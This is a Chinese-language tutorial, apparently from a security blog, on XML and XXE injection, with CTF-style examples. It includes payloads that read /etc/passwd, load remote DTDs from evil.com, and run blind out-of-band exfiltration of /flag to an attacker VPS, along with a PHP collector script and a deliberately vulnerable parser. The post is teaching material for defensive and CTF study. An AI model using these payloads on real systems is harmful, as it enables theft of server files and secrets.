Last updated on September 27, 2024 am
基础介绍
XML用于标记电子文件使其具有结构性的标记语言 ,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
XML文档结构
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" ?> <!DOCTYPE note [ <!ELEMENT note (to ,from ,heading ,bodys )> <!ELEMENT to (#PCDATA )> <!ELEMENT from (#PCDATA )> <!ELEMENT heading (#PCDATA )> <!ELEMENT bodys (#PCDATA )> ]> <note > <to > 北京</to > <from > 石家庄</from > <heading > wintrysec</heading > <bodys > wintrysec.github.io</bodys > </note >
优点
可以用于传输数据,可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输,。
作用
语法
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE 根元素 [元素声明]> <!DOCTYPE 根元素 SYSTEM “文件名”> 或<!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”> <!ENTITY 实体名称 “实体的值"> <!--引用外部实体--> <!ENTITY 实体名称 SYSTEM “URI" ><!ENTITY 实体名称 PUBLIC “public_ID" “URI" >
php中存在XXE的类
1 2 3 <?php $xml_class =new SimpleXMLElement ($xml ,LIBXML_NOENT); var_dump ($xml_class );
修复:禁止加载XML实体对象的方式
1 2 3 4 <?php libxml_disable_entity_loader (true ); $xml_class =new SimpleXMLElement ($xml ,LIBXML_NOENT); var_dump ($xml_class );
XML外部实体注入(XXE)
注入的位置在DTD部分
本地引入
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE x[ <!ENTITY wintrysec SYSTEM "file:///etc/passwd" > ]> <test > &wintrysec; </test >
文档元素位置是为了限制回显所写的地方,文档元素标签是什么要根据题目修改
远程引入
方法一
1 2 3 4 5 6 <?xml version="1.0" ?> <!DOCTYPE x[ <!ENTITY %d SYSTEM "http://evil.com/evil.dtd" > %d; ]> <test > &wintrysec; </test >
远程文件evil.dtd的内容为
1 <!ENTITY wintrysec SYSTEM “file:///etc/passwd">
方法二
1 2 3 <?xml version="1.0" ?> <!DOCTYPE x SYSTEM "http://evil.com/evil.dtd" > <test > &wintrysec; </test >
无回显XXE(blind xxe)
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器
后端xml.php 例子
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); }highlight_file (__FILE__ );
vps上在网站根目录写xml.php
1 2 3 4 5 <?php $content = $_GET ['q' ]; $myFile = "flag.txt" ; file_put_contents ($myFile , $content , FILE_APPEND);?>
vps上写eval.dtd,并用python -m http.server 8000 开发访问
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps/index.php?q=%file;'>">
不是php的话写
1 2 <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps/index.php?q=%file;'>" >
payload写
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/eval.dtd" > %remote;%int;%send; ]>
xxe lab